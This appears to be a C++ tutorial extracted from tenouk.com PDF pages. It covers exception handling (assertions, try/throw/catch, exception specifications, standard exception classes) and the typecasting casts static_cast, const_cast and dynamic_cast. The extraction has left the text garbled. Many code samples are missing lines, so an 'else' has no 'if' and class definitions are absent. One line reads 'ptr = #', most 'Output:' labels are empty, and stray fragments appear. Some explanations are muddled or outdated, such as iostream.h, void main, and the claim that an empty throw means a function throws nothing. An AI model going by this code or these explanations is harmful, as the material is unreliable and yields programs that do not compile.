- Throughout this tutorial also, you should have encountered several mechanism used, such as
conditional statements using the if statements combined with exit(), abort() and
terminate() functions, when there are errors, the program just terminate with some error message,
passing the control back to operating system. Some of the messages may be very useful for our
debugging process.
- We also have had used the assert() function to test the validity of the program expressions as
discussed in Module 10.
- But program logic can’t be proved correct under all situation, we must ready for this situation by
providing the emergency exit for them.
- C++ provides two methods to handle this anomalous situation called exceptions, that are using
assertions and exceptions.
21.2 Assertions
www.tenouk.com
- Assertion has been discussed in Module 10 and it should be a revision here.
- Same as C, C++ also supports assertion programming. Programmer specifies checks for correct
conditions to continue program execution. We use assert.h library for standard C and <cassert>
for C++, something like this:
- Preprocessor macro assert() used to provide assertion processing. Macro expects an expression
with an integral value, for example:
//assertion macro
assert(expression);
- Assertion processing typically used only during program development and debugging. The assert
expression is not evaluated in the Release Version of your program. Typically, assertions can be used
for:
▪ Catching the program logic errors. Use assertion statements to catch logic errors. You can set
an assertion on a condition that must be true according to your program logic. The assertion
only has an effect if a logic error occurs.
▪ Checking the results of an operation. Use assertion statements to check the result of an
operation. Assertions are most valuable for testing operations which results are not so obvious
from a quick visual inspection.
▪ Testing the error conditions that supposed to be handled. Use assertions to test for error
conditions at a point in your code where errors supposed to be handled.
- This part presented here just as a comparison and discussion to the standard C++.
- A structured exception handler has no concept of objects or typed exceptions, it cannot handle
exceptions thrown by C++ code; but, C++ catch handlers can handle C exceptions.
- So, the C++ exception handling syntax using try, throw…catch is not accepted by the C compiler, but
structured exception handling syntax (Microsoft® implementation) using __try, __except, __finally is
supported by the C++ compiler.
- The major difference between structured exception handling and C++ exception handling is that the
C++ exception handling deals with types, while the C structured exception handling deals with
exceptions of one type specifically, unsigned int.
www.tenouk.com
- C exceptions are identified by an unsigned integer value, whereas C++ exceptions are identified by data
type.
- When an exception is raised in C, each possible handler executes a filter that examines the C exception
context and determines whether to accept the exception, pass it to some other handler, or ignore it
whereas when an exception is thrown in C++, it may be of any type.
- C structured exception handling model is referred to as what is called asynchronous, which the
exceptions occur secondary to the normal flow of control whereas the C++ exception handling
mechanism is fully synchronous, which means that exceptions occur only when they are invoked or
thrown.
- If a C exception is raised in a C++ program, it can be handled by a structured exception handler with its
associated filter or by a C++ catch handler, whichever is dynamically closer to the exception context.
- The following is a program example of the C++ program raises a C exception inside a C++ try block:
//function prototype...
void TestCFunct(void);
int main()
{
//C++ try block...
try
{
//function calls...
TestCFunct();
}
//catch block...
catch(...)
{
cout<<"Caught the exception, C style..."<< endl;
}
return 0;
}
//function definition...
void TestCFunct()
{
//structured handling exception...
__try
{
int p, r = 2, q = 0;
//exception should be raised here
//divide by 0...
p = r*(10/q);
}
__finally
{
cout<<"In __finally" << endl;
//finding the appropriate catch...
}
}
Output:
- Besides that, C’s exception that uses the setjmp() and longjmp() functions, do not support C++
object semantics.
- Using these functions in C++ programs may lesser the performance by preventing optimization on local
variables.
- It is better to use the C++ exception handling try, throw...catch constructs instead.
www.tenouk.com
- An exception occurs when an unexpected error or unpredictable behaviors happened on your program
not caused by the operating system itself. These exceptions are handled by code which is outside the
normal flow of control and it needs an emergency exit.
- Compared to the structured exception handling, returning an integer as an error flag is problematic
when dealing with objects. The C++ exception-handling can be a full-fledged object, with data
members and member functions.
- Such an object can provide the exception handler with more options for recovery. A clever exception
object, for example, can have a member function that returns a detailed verbal description of the error,
instead of letting the handler look it up in a table or a file.
- C++ has incorporated three operators to help us handle these situations: try, throw and catch.
- The following is the try, throw…catch program segment example:
try
{
buff = new char[1024];
if(buff == 0)
throw "Memory allocation failure!";
- In grammar form:
The try-block:
try
{compound-statement handler-list
handler-list here
The throw-expression:
throw expression
}
{
The handler:
catch (exception-declaration) compound-statement
exception-declaration:
type-specifier-list here
}
21.4.1 try
- A try block is a group of C++ statements, enclosed in curly braces { }, that might cause an exception.
This grouping restricts the exception handlers to the exceptions generated within the try block. Each
try block may have one or more associated catch blocks.
- If no exception is thrown during execution of the guarded section, the catch clauses that follow the
try block are not executed or bypassed. Execution continues at the statement after the last catch
clause following the try block in which the exception was thrown.
- If an exception is thrown during execution of the guarded section or in any routine the guarded section
calls either directly or indirectly such as functions, an exception object will be created from the object
created by the throw operand.
- At this point, the compiler looks for a catch clause in a higher execution context that can handle an
exception of the type thrown or a catch handler that can handle any type of exception. The
compound-statement after the try keyword is the guarded section of code.
21.4.2 throw
www.tenouk.com
- The throw statement is used to throw an exception and its value to a matching catch exception
handler. A regular throw consists of the keyword throw and an expression. The result type of the
expression determines which catch block receives control.
- Within a catch block, the current exception and value may be re-thrown simply by specifying the
throw keyword alone that is without the expression.
- The throw is syntactically similar to the operand of a return statement but here, it returns to the
catch handler.
21.4.3 catch
- A catch block is a group of C++ statements that are used to handle a specific thrown exception. One
or more catch blocks, or handlers, should be placed after each try block. A catch block is
specified by:
- The compound-statement after the catch keyword is the exception handler, and catches or handles
the exception thrown by the throw-expression.
- The exception-declaration statement part indicates the type of exception the clause handles. The type
can be any valid data type, including a C++ class.
- If the exception-declaration statement part is just an ellipsis (...) such as,
catch(...)
- Then, the catch clause will handle any type of exception, including C exceptions and system or
application generated exceptions such as divide by zero, memory protection and floating-point
violations. Such a handler must be the last handler for its try block acting as default catch.
- The catch handlers are examined in order of their appearance following the try block. If no
appropriate handler is found, the next dynamically enclosing try block is examined. This process
continues until the outermost enclosing try block is examined if there are more than one try block.
- If a matching handler is still not found, or if an exception occurs while unwinding, but before the
handler gets control, the predefined run-time function terminate() is called. If an exception occurs
after throwing the exception, but before the unwinding begins, terminate() is also called.
- The catch block must go right after the try block without any line of codes between them.
- The order in which catch handlers appear is important, because handlers for a given try block are
examined in order of their appearance. For example, it is an error to place the handler for a base class
before the handler for a derived class.
- After a matching catch handler is found, subsequent handlers are not examined. That is why an
ellipsis catch, catch(...) handler must be the last handler for its try block.
- Besides that, catch may be overloaded so that it can accept different types as parameters. In that case
the catch block executed is the one that matches the type of the exception sent through the parameter
of throw
- Program example:
int main()
{
//declare char pointer
char* buff;
//try block...
try
{
//allocate storage for char object...
buff = new char[1024];
www.tenouk.com
//if allocation successful, display
//the following message, bypass
//the catch block...
else
cout<<sizeof(buff)<<" Byte successfully allocated!"<<endl;
}
Output:
int main ()
{
try
{
char * teststr;
teststr = new char [10];
Output:
www.tenouk.com
21.5 Catching Exceptions
- Since exceptions are a run-time and not a compile-time feature, standard C++ specifies the rules for
matching exceptions to catch-parameters is slightly different from those for finding an overloaded
function to match a function call.
- We can define a handler for an object of type named Type several different ways. In the following
examples, the variable test is optional, just as the ordinary functions in C++:
catch(Type test)
catch(const Type test)
catch(Type & test)
catch(const Type& test)
- For the third rule, let Type1 be a type pointing to type Type2, and Type be a type that points to type
Type3. Then there exists a standard pointer conversion from Type1 to Type if:
1. Type is the same type as Type1, except it may have added any or both of the qualifiers const
and volatile, or
2. Type is void*, or
3. Type3 is an unambiguous, accessible base class of Type2. Type3 is an unambiguous base class
of Type2 if Type2's members can refer to members of Type3 without ambiguity (this is usually
only a concern with multiple inheritance).
void Funct();
int main()
{
try
{ Funct(); }
catch(double)
{ cerr<<"caught a double type..."<<endl; }
return 0;
}
void Funct()
{
www.tenouk.com
//3 is not a double but int
throw 3;
}
Output:
- As a summary, when an exception is thrown, it may be caught by the following types of catch
handlers:
▪ A handler that can accept any type (using the ellipsis syntax).
▪ A handler that accepts the same type as the exception object; because it is a copy, const and
volatile modifiers are ignored.
▪ A handler that accepts a reference to the same type as the exception object.
▪ A handler that accepts a reference to a const or volatile form of the same type as the exception
object.
▪ A handler that accepts a base class of the same type as the exception object; since it is a copy,
const and volatile modifiers are ignored. The catch handler for a base class must not precede the
catch handler for the derived class.
▪ A handler that accepts a reference to a base class of the same type as the exception object.
▪ A handler that accepts a reference to a const or volatile form of a base class of the same type as
the exception object.
▪ A handler that accepts a pointer to which a thrown pointer object can be converted via standard
pointer conversion rules.
- C++ exception is automatically call destructor functions during the stack unwinding process, for all
local objects constructed before the exception was thrown.
- Program example.
void TestFunct(void);
www.tenouk.com
{
public:
DestrTest();
~DestrTest();
};
void TestFunct()
{
//instantiate an object, constructor invoked...
DestrTest p;
cout<<"Next in TestFunct(): \n Throwing Test1 type exception...\n";
//first throw...
throw Test1();
}
int main()
{
cout<<"Starting in main()...\n";
try
{
cout<<"Now, in the try block: \n Calling TestFunct()...\n";
TestFunct();
}
//instantiate another object, constructor invoked...
catch(Test1 q)
{
cout<<"Next, in catch handler:\n";
cout<<" Caught Test1 type exception...\n";
cout<<q.TestShow()<<"\n";
}
catch(char *strg)
{
cout<<"Caught char pointer type exception: "<<strg<<"\n";
}
cout<<"Back in main...\n";
return 0;
}
Output:
www.tenouk.com
- When an exception is thrown, the runtime mechanism first searches for an appropriate matching
handler (catch) in the current scope. If no such handler exists, control is transferred from the current
scope to a higher block in the calling chain or in outward manner.
- Iteratively, it continues until an appropriate handler has been found. At this point, the stack has been
unwound and all the local objects that were constructed on the path from a try block to a throw
expression have been destroyed.
- The run-time environment invokes destructors for all automatic objects constructed after execution
entered the try block. This process of destroying automatic variables on the way to an exception handler
is called stack unwinding.
- During the unwinding the stack , objects on stack are destroyed, local variables, local class objects
destructors are called and program goes back to a normal state.
- The stack unwinding process is very similar to a sequence of return statements, each returning the
same object to its caller.
- In the absence of an appropriate handler, the program terminates. However, C++ ensures proper
destruction of local objects only when the thrown exception is handled. Whether an uncaught exception
causes the destruction of local objects during stack unwinding is implementation-dependent.
- To ensure that destructors of local objects are invoked in the case of an uncaught exception, you can
add a catch(...) statement in main(). For example:
int main()
{
try
{
//throw exceptions...
throw SomeThing;
}
//handle expected exceptions
catch(TheSomething)
{
//handle all the exceptions...
}
//ensure proper cleanup in the case
//of an uncaught exception
catch(...)
{
//catch other things…
}
}
- A throw expression with no operand re-throws the exception currently being handled. Such an
expression should appear only in a catch handler or in a function called from within a catch handler.
- The re-thrown exception object is the original exception object (not a copy). For example:
try
{
throw SomeException();
}
- An empty throw statement tells the compiler that the function does not throw any exceptions. For
example:
www.tenouk.com
}
void main()
{
try
{
Nothing();
SomeType();
}
catch (double)
{ cout<<"Caught a double..."<<endl; }
}
Output:
- When the system can't find a handler for an exception, it calls the standard library function
terminate(), which by default aborts the program. You can substitute your own termination
function by passing a pointer to it as a parameter to the set_terminate() library function.
- An exception caught by a pointer can also be caught by a void* handler. In the following program
example, exception is caught, since there is a handler for an accessible base class:
#include <iostream.h>
//base class
class Test1 {};
//derived class
class Test2 : public Test1 {};
void Funct();
int main()
{
try
{
//function call, go to Funct()
Funct();
}
catch(const Test1&)
{
cerr<<"Caught a Test1 type, base class..."<<endl;
}
return 0;
}
Output:
#include <iostream.h>
www.tenouk.com
//exit()
#include <stdlib.h>
//set_terminate()
#include <exception>
void Funct()
{
cout<<"Funct() was called by terminate()."<<endl;
//0-normal exit, non zero-exit with some error
exit(0);
}
int main()
{
try
{
set_terminate(Funct);
//No catch handler for this exception
throw "Out of memory!";
}
catch(int)
{ cout<<"Integer exception raised."<<endl; }
return 0;
}
Output:
- Exception specifications are used to provide summary information about what exceptions can be
thrown out of a function. Exceptions not listed in an exception specification should not be thrown from that
function.
- An exception specification consists of the keyword throw after the function's parameter list, followed
by a list of potential exceptions, for example:
- An exception specification isn't considered a part of a function's type. Therefore, it doesn't affect
overload resolution. That means pointers to functions and pointers to member functions may contain an
exception specification, for example:
- PtrFunct is a pointer to a function that may throw string or double. You can assign to a
function whose exception specification is as restrictive as, or more restrictive than PtrFunct 's
exception specification.
- An exception specification P is said to be more restrictive than an exception specification Q if the set of
exceptions P contains is a subset of Q's exceptions. In other words, P contains every exception in Q but
not vice versa. For example:
- A function with no exception-specification allows all exceptions. A function with an empty exception
specification doesn't allow any exceptions, for example:
www.tenouk.com
class Test
{
public:
//may throw any exception
int One(char *VarPtr);
//doesn't throw any exception
int Two(double *VarPtr1) throw();
};
- Exception specifications are enforced at the runtime. When a function violates its exception
specification, unexpected() function is called.
- The unexpected() function invokes a user-defined function that was previously registered by
calling set_unexpected().
- If no function was registered with set_unexpected(), unexpected() calls terminate()
which aborts the program unconditionally.
- The following table summarizes C++'s implementation of exception specifications:
Example Description
void Funct() throw(int) The function may throw an int exception.
void Funct() throw() The function will throw no exceptions.
The function may throw a char* and/or a T, user
void Funct() throw(char*, T)
defined type exception.
void Funct() or
The function may throw anything.
void Funct(...)
- If exception handling is used in an application, there must be one or more functions that handle thrown
exceptions.
- Any functions called between the one that throws an exception and the one that handles the exception
must be capable of throwing the exception. However, explicit exception specifications are not allowed
on C functions.
//exception specification
#include <iostream.h>
//handler function
void handler()
{cout<<"In the handler()\n";}
//int throw...
void Funct1(void) throw(int)
{
static int x = 1;
cout<<"Funct1() call #"<<x++<<endl;
cout<<"About to throw 1\n";
if (1)
throw 1;
}
//empty throw...
void Funct5(void) throw()
{
try
{Funct1();}
catch(...)
{handler();}
}
www.tenouk.com
// Funct1();
//}
void Funct2(void)
{
try
{Funct1();}
catch(int)
{handler();}
}
int main()
{
Funct2();
try
{Funct4();}
catch(...)
{cout<<"Caught exception from Funct4()\n";}
Funct5();
return 0;
}
Output:
- The extra overhead associated with the C++ exception handling mechanism may increase the size of
executable files and slow your program execution.
- So, exceptions should be used only in truly exceptional situations. Exception handlers should not be
used to redirect the program's normal flow of control.
- For example, an exception should not be thrown in cases of potential logic or user input errors, such as
the overflow of an array boundary. In these cases, simply returning an error code by using for example,
the conditional if statement may be simpler and more concise.
- The C++ exception class serves as the base class for all exceptions thrown by certain expressions
and by the Standard C++ Library.
www.tenouk.com
invalid_argument As the base class for all exceptions thrown to report an invalid argument.
As the base class for all exceptions thrown to report an attempt to generate
length_error
an object too long to be specified.
As the base class for all exceptions thrown to report an argument that is
out_of_range
out of its valid range.
The run-time errors normally occur because of mistakes in either the library
functions or in the run-time system
As the base class for all exceptions thrown to report errors presumably
runtime_error
detectable only when the program executes.
As the base class for all exceptions thrown to report an arithmetic
overflow_error
overflow.
range_error As the base class for all exceptions thrown to report a range error.
As the base class for all exceptions thrown to report an arithmetic
underflow_error
underflow.
The member class serves as the base class for all exceptions thrown by the
ios_base::failure
member function clear() in template class basic_ios.
- Logical and run time errors are defined in Standard C++ <stdexcept> header file and this
<stdexcept> is a derived class from the exception class where the Standard C++ header file is
<exception>.
- Do not confuse with the exception class and <exception> header file, they refer to different
thing here. Header is denoted by the angled bracket < >. Exception class definition is shown below:
class exception
{
public:
exception( ) throw( );
exception(const exception& right) throw( );
exception& operator=(const exception& right) throw( );
virtual ~exception( ) throw( );
virtual const char *what( ) const throw( );
};
- Some functions of the standard C++ library send exceptions that can be caught by including them
within a try block. These exceptions are sent with a class derived from std::exception as their
type. It is better to use these exceptions instead of creating your own, because these exceptions have
been tested.
- Because this is a class hierarchy, if you include a catch block to capture any of the exceptions of this
hierarchy using the argument by reference that is by adding an ampersand, & after the type, you will
also capture all the derived ones.
- Referring to the hierarchy of the exception, exceptions are caught in a bottom-down hierarchy: Specific
derived classes exceptions are handled first, followed by less specific groups of exceptions that is, up to
the base classes and, finally, a catch(...) handler:
- Handlers of the specific derived objects must appear before the handlers of base classes. This is because
handlers are tried in order of appearance. It's therefore possible to write handlers that are never
executed; for example, by placing a handler for a derived class after a handler for a corresponding base
class.
- You can use the classes of standard hierarchy of exceptions to throw your exceptions or derive new
classes from them.
- The following example catches an exception of type bad_typeid (derived from exception) that is
generated when requesting information about the type pointed by a NULL pointer:
//standard exceptions
//program example
#include <iostream.h>
#include <exception>
#include <typeinfo>
class Test1
{
virtual Funct() {};
};
int main ()
{
try {
www.tenouk.com
Test1 * var = NULL;
typeid (*var);
}
catch (std::exception& typevar)
{
cout<<"Exception: "<<typevar.what()<<endl;
}
return 0;
}
Output:
//out_of_range example
#include <string>
#include <iostream>
int main( )
{
try
{
string strg1("Test");
string strg2("ing");
strg1.append(strg2, 4, 2);
cout<<strg1<<endl;
}
catch (exception &e)
{
cerr<<"Caught: "<<e.what()<<endl;
cerr<<"Type: "<<typeid(e).name()<<endl;
};
return 0;
}
Output
typedef Description
A type that describes a pointer to a function suitable for use as a
terminate_handler
terminate_handler.
A type that describes a pointer to a function suitable for use as an
unexpected_handler
unexpected_handler.
www.tenouk.com
Member function Description
Establishes a new terminate_handler to be called at the
set_terminate()
termination of the program.
Establishes a new unexpected_handler to be when an
set_unexpected()
unexpected exception is encountered.
terminate() Calls a terminate handler.
uncaught_exception() Returns true only if a thrown exception is being currently processed.
unexpected() Calls an unexpected handler.
Class Description
The class describes an exception that can be thrown from an
bad_exception
unexpected_handler.
The class serves as the base class for all exceptions thrown by certain
exception
expressions and by the Standard C++ Library.
//bad_cast
//Need to enable the Run-Time Type Info,
//rtti of your compiler. You will learn
//Typecasting in another Module…
#include <typeinfo.h>
#include <iostream>
using namespace std;
class Myshape
{
public:
virtual void myvirtualfunc() const {}
};
int main()
{
Myshape Myshape_instance;
Myshape &ref_Myshape = Myshape_instance;
try {
//try the run time typecasting, dynamic_cast
mytriangle &ref_mytriangle = dynamic_cast<mytriangle&>(ref_Myshape);
}
catch (bad_cast) {
cout<<"Can't do the dynamic_cast lor!!!"<<endl;
cout<<"Caught: bad_cast exception. Myshape is not mytriangle.\n";
}
}
Output:
www.tenouk.com
#include <new>
#include <iostream>
using namespace std;
int main()
{
char* ptr;
Output:
sizeof(size_t(0)/3)
sizeof(~size_t(0)/3)
- Recompile and re run the program, the following output should be expected.
//set_unexpected
#include <exception>
#include <iostream>
using namespace std;
void myfunction()
{
cout<<"Testing myfunction()."<<endl;
//terminate() handler
terminate();
}
int main( )
{
unexpected_handler oldHandler = set_unexpected(myfunction);
//unexpected() function call
unexpected();
}
Output:
www.tenouk.com
- The following example shows the typeid operator throwing a bad_typeid exception.
//bad_typeid
#include <typeinfo.h>
#include <iostream>
using namespace std;
class Test
{
public:
//object for a class needs vtable
//for the rtti...
Test();
virtual ~Test();
};
int main()
{
Test *ptrvar = NULL;
try {
//the error condition
cout<<typeid(*ptrvar).name()<<endl;
}
catch (bad_typeid){
cout<<"The object is NULL"<<endl;
}
}
Output:
int main()
{
try
{
throw domain_error("Some error with your domain!");
}
catch (exception &err)
www.tenouk.com
{
cerr<<"Caught: "<<err.what()<<endl;
cerr<<"Type: "<<typeid(err).name()<<endl;
};
}
Output:
//invalid_argument
#include <bitset>
#include <iostream>
using namespace std;
int main()
{
try
{
//binary wrongly represented by char X
//template based…
bitset<32> bitset(string("0101001X01010110000"));
}
catch (exception &err)
{
cerr<<"Caught "<<err.what()<<endl;
cerr<<"Type "<<typeid(err).name()<<endl;
};
}
Output:
//runtime_error
#include <iostream>
using namespace std;
int main()
{
//runtime_error
try
{
locale testlocale("Something");
}
catch(exception &err)
{
cerr<<"Caught "<<err.what()<<endl;
cerr<<"Type "<<typeid(err).name()<<endl;
};
}
Output:
//overflow_error
www.tenouk.com
//storage reserved is not enough
#include <bitset>
#include <iostream>
using namespace std;
int main()
{
try
{
//template based…
bitset<100> bitset;
bitset[99] = 1;
bitset[0] = 1;
//to_ulong(), converts a bitset object to the integer
//that would generate the sequence of bits
unsigned long Test = bitset.to_ulong();
}
catch(exception &err)
{
cerr<<"Caught "<<err.what()<<endl;
cerr<<"Type "<<typeid(err).name()<<endl;
};
}
Output:
//range_error
#include <iostream>
using namespace std;
int main()
{
try
{
throw range_error("Some error in the range!");
}
catch(exception &Test)
{
cerr<<"Caught: "<<Test.what()<<endl;
cerr<<"Type: "<<typeid(Test).name()<<endl;
};
}
Output:
//underflow_error
//negative storage...
#include <iostream>
using namespace std;
int main()
{
try
{
throw underflow_error("The negative storage?");
}
catch(exception &Test)
{
cerr<<"Caught: "<<Test.what()<<endl;
cerr<<"Type: "<<typeid(Test).name()<<endl;
};
www.tenouk.com
}
Output:
//***********-except.cpp-***********
//exception, class and destructor
#include <iostream>
using namespace std;
void TestFunct(void);
void TestFunct()
{
//instantiate an object, constructor invoked...
DestrTest p;
cout<<"Next in TestFunct(): \n Throwing Test1 type exception...\n";
//first throw...
throw Test1();
}
int main()
{
cout<<"Starting in main()...\n";
try
{
cout<<"Now, in the try block: \n Calling TestFunct()...\n";
TestFunct();
}
//instantiate another object, constructor invoked...
catch(Test1 q)
{
cout<<"Next, in catch handler:\n";
cout<<" Caught Test1 type exception...\n";
www.tenouk.com
cout<<q.TestShow()<<"\n";
}
catch(char *strg)
{
cout<<"Caught char pointer type exception: "<<strg<<"\n";
}
cout<<"Back in main...\n";
return 0;
}
Starting in main()...
Now, in the try block:
Calling TestFunct()...
Next, in constructor DestrTest():
Constructing the DestrTest...
Next in TestFunct():
Throwing Test1 type exception...
Next, in destructor ~DestrTest():
Destructing the DestrTest...
Next, in catch handler:
Caught Test1 type exception...
In class member function *TestShow():
Exception in Test1 class.
Back in main...
--------------------------------------o0o---------------------------------
1. Check the best selling C/C++, Object Oriented and pattern analysis books at Amazon.com.
www.tenouk.com
MODULE 22
TYPECASTING
Abilities
22.1 C Typecasting
- Typecasting is used to convert the type of a variable, function, object, expression or return value to
another type.
- Throughout this tutorial you have encountered many codes that use simple C-style type cast.
- One of the said advantageous of C++ is the type safe feature. During the compile or run time there are
type checking process that not available in C. This can avoid a lot of program bugs and unexpected
logical errors.
- In C an expression, expression, of type type, can be cast to another type by using the following
syntax:
(type) expression or
//look like a function :o) isn’t it?
type (expression)
- For example:
int p;
double dou;
- The previous example used the explicit type conversion that is done by programmers. Integral type
promotion and demotion (automatic type casting, as explained in Module 2); is the implicit type
conversion.
- What ever it is, explicit type conversion should be adopted for good programming habits such as for
troubleshooting and readability.
- The weaknesses in C type cast are listed below:
▪ The syntax is same for every casting operation from simple variables to objects and classes.
For complex type casting, we as well as compiler don’t know the intended purpose of the
casting and this will create ambiguity.
▪ When we do the debugging, it is very difficult to locate the related cast problems, although by
using the tools provided by the compiler, because there are many codes that use parentheses.
▪ It allows us to cast practically any type to any other type. This can create many program
bugs. If the program compiled and run successfully, the result still can contain logical errors.
- The four type casting operators in C++ with their main usage is listed in the following table:
- The syntax is same for the four type cast except the cast name:
name_cast<new_type> (expression)
- Where:
www.tenouk.com
name_cast either one of the static, const, dynamic or reinterpret
new_type The result type of the cast.
expression Expression to be cast
22.2 static_cast
- It allows casting a pointer of a derived class to its base class and vice versa. This cast type uses
information available at compile time to perform the required type conversion.
- The syntax is:
name_cast<new_type> (expression)
- If new_type is a reference type, the result is an lvalue; otherwise, the result is an rvalue
- Explicitly can be used to perform conversion defined in classes as well as performing standard
conversion between basic data types, for example:
int p;
double dou;
p = static_cast<int> (dou);
- Program example:
#include <iostream.h>
#include <stdlib.h>
int main()
{
Output:
- Other usage of the static_cast includes the conversion of int to enum, reference of type P& to
Q&, an object of type P to an object of type Q and a pointer to member to another pointer to member
within the same class hierarchy.
- You also can convert any expression to void using static_cast, which the value of the expression
is discarded.
- static_cast cannot be used to convert the const-ness and volatile-ness (cv qualification),
use const_cast instead and polymorphic types.
- An integral type to enumeration conversion can be done using static_cast. The conversion results
in an enumeration with the same value as the integral type provided the integral type value is within the
range of the enumeration. The value that is not within the range should be undefined.
- Keep in mind that, static_cast is not as safe as dynamic_cast, because it does not have the run
time check, for example, for ambiguous pointer, static_cast may return successful but a
dynamic_cast pointer will fail.
- Program example:
www.tenouk.com
#include <iostream.h>
#include <stdlib.h>
int main()
{
int p1 = 3;
system("pause");
return 0;
}
Output:
22.3 const_cast
- This cast type is used to add to or remove the const-ness or volatile-ness of the expression.
- The syntax is:
const_cast<new_type> (expression)
- new_type and expression must be of the same type except for const and volatile
modifiers. Casting is resolved at compile time and the result is of type new_type.
- A pointer to const can be converted to a pointer to non-const that is in all other respects an identical
type. If successful, the resulting pointer refers to the original object.
- A const object or a reference to const cast results in a non-const object or reference that is
otherwise an identical type.
- The const_cast operator performs similar typecasts on the volatile modifier. A pointer to
volatile object can be cast to a pointer to non-volatile object without otherwise changing the
type of the object. The result is a pointer to the original object. A volatile-type object or a reference
to volatile-type can be converted into an identical non-volatile type.
- Simple integral program example of removing the const-ness:
//demonstrates const_cast
#include <iostream.h>
#include <stdlib.h>
int main()
{
//p = 10 is a constant value, cannot be modified
const int p = 20;
www.tenouk.com
Output:
//Demonstrate const_cast
#include <iostream.h>
#include <stdlib.h>
struct One
{
//test function...
void funct1()
{ cout<<"Testing..."<<endl;}
};
int main()
{
One b;
funct2(b);
system("pause");
return 0;
}
- We have to remove the const of the argument. Change c.funct1(); to the following statements
recompile and rerun the program.
Output:
double funct1(double& f)
{
//do some work here...
f++;
cout<<"f = "<<f<<endl;
//return the incremented value...
return f;
}
www.tenouk.com
//const argument, can't be modified...
void funct2(const double& d)
{
cout<<"d = "<<d<<endl;
//remove const...
//use the non-const argument, making function call...
double value = funct1(const_cast<double&> (d));
//display the returned value...
cout<<"value = "<<value<<endl;
}
int main()
{
double c = 4.324;
Output:
class One
{
public:
void funct()
{cout<<"Testing..."<<endl;};
};
void TestConstVol()
{
One Test3;
//remove const...
const_cast<One&>(Test3).funct();
//remove const and volatile...
const_cast<int*> (Test1);
}
int main()
{
TestConstVol();
system("pause");
return 0;
}
Output:
www.tenouk.com
- Removing the const this pointer program example
class Test
{
public:
void GetNumber(int);
//Read only function...
void DisplayNumber() const;
private:
int Number;
};
int main()
{
Test p;
p.GetNumber(20);
p.DisplayNumber();
system("pause");
return 0;
}
Output:
- This function const-ness removal also can be achieved by using the mutable specifier.
- Program example using mutable keyword to modify the const function member variable.
class Test
{
//using mutable
mutable int count;
mutable const int* ptr;
public:
//Read only function can't
//change const arguments.
int funct(int num = 10) const
{
//should be valid expression...
count = num+=3;
ptr = #
cout<<"After some operation, the new value: "<<*ptr<<endl;
return count;
}
};
www.tenouk.com
int main(void)
{
Test var;
cout<<"Initial value of the argument is: 10"<<endl;
var.funct(10);
system("pause");
return 0;
}
Output:
22.4 dynamic_cast
Note:
For this part, you must enable the Run-Time Type Information (RTTI) setting of your compiler
:o). For Visual C++ .Net: Project menu → your_project_name Properties… → C / C++
folder → Language setting.
- This cast is exclusively used with pointers and references to objects for class hierarchy navigation.
- The syntax:
dynamic_cast<new_type> (expression)
- That means converts the operand expression to an object of type, new_type. The new_type
must be a pointer or a reference to previously defined class type or a pointer to void. The type of
expression must be a pointer if new_type is a pointer or lvalue if new_type is a reference.
- It can be used to cast from a derived class pointer to a base class pointer (upcasting), cast a derived
class pointer to another derived (sibling) class pointer (crosscast) or cast a base class pointer to a
derived class pointer (downcast).
- Differing from other cast, dynamic_cast operator is part of the C++ run time type information
(rtti) tally to the term dynamic instead of static, hence it usage closely related to the polymorphic
classes, classes which have at least one virtual function.
- As you have learned, for non-polymorphic class, use the static_cast.
- The validity or safety of the type casting is checked during the run time, if the pointer being cast is not a
pointer to a valid complete object of the requested type, the value returned is a NULL pointer.
www.tenouk.com
- It is safe if the object being pointed to is of type derived class. The actual object is said to be the
complete object. The pointer to the base class is said to point to a sub-object of the complete object.
- The following diagram is the simple class hierarchy. There are base and derived classes. Derived class
is the class that inherits the base class(s) member variable(s) and function(s) with restrictions
implemented using public, private or protected keywords.
- An object of class C could be depicted as the following diagram. For class C instance, there is a B and
A sub-objects. The instance of class C, including the A and B sub-objects, is the complete object.
- Type conversion from base class pointer to a derived class pointer is called downcast.
- Type conversion from derived class pointer to a base class pointer, is called upcast.
- Another one is crosscast, a cast from a class to a sibling class in class hierarchy or sibling class. Two
classes are siblings if a class is directly or indirectly derived from both of their base classes and one is
not derived from the other. It is a multi inheritance class hierarchy.
- Let do some experiment through program examples starting from the upcasting.
//base class
class Base1 {};
//derived class...
class Derived1:public Base1 {};
www.tenouk.com
Derived1* Test2 = dynamic_cast<Derived1*>(Test1);
cout<<"Derived1* Test2 = dynamic_cast<Derived1*>(Test1);"<<endl;
if(!Test2)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
int main()
{
funct1();
system("pause");
return 0;
}
Output:
//base class
class Base1
{
public:
virtual void funct1(){};
};
www.tenouk.com
cout<<"void* Test3 = dynamic_cast<void*>(Test1);"<<endl;
if(!Test3)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
int main()
{
funct3();
system("pause");
return 0;
}
Output:
//base class
class Base1 {
public:
virtual void funct1(){};
};
//derived class...
class Derived1:public Base1 {
public:
virtual void funct2(){};
};
www.tenouk.com
//should fails coz Test2 pointing
//to Base1 not Derived1, Test4 == NULL
Derived1* Test4 = dynamic_cast<Derived1*>(Test2);
cout<<"\nDerived1* Test4 = dynamic_cast<Derived1*>(Test2);"<<endl;
if(!Test4)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
//reconfirm, should be NULL pointer…
cout<<"Should be NULL pointer = "<<Test4<<endl;
}
int main()
{
funct3();
system("pause");
return 0;
}
Output:
//multiple inheritance
//conversion using dynamic_cast
#include <iostream.h>
#include <stdlib.h>
//base class
class Base1 {};
//derived class...
class Derived3:public Derived1, public Derived2
{
public:
virtual void funct1(){}
};
www.tenouk.com
//part, there should be run time error:-)
Base1* Test2 = dynamic_cast<Base1*>(Test1);
cout<<"Base1* Test2 = dynamic_cast<Base1*>(Test1);"<<endl;
if(!Test2)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
//reconfirm the pointer
cout<<"The pointer should be NULL ==> "<<Test2<<endl;
//---------end comment out----------
int main()
{
funct2();
system("pause");
return 0;
}
Output:
Note:
The next two program examples will generate warning and runtime error if you use a very ‘good’ compiler
:o). The unreliable type conversions have been protected by the compiler during runtime.
www.tenouk.com
#include <stdlib.h>
//base class
class Base1
{
public:
virtual void funct1(){};
};
//derived class...
class Base2
{
public:
virtual void funct4(){};
};
else
cout<<"The conversion is successful..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
delete Test1;
}
int main()
{
www.tenouk.com
funct5();
system("pause");
return 0;
}
Output:
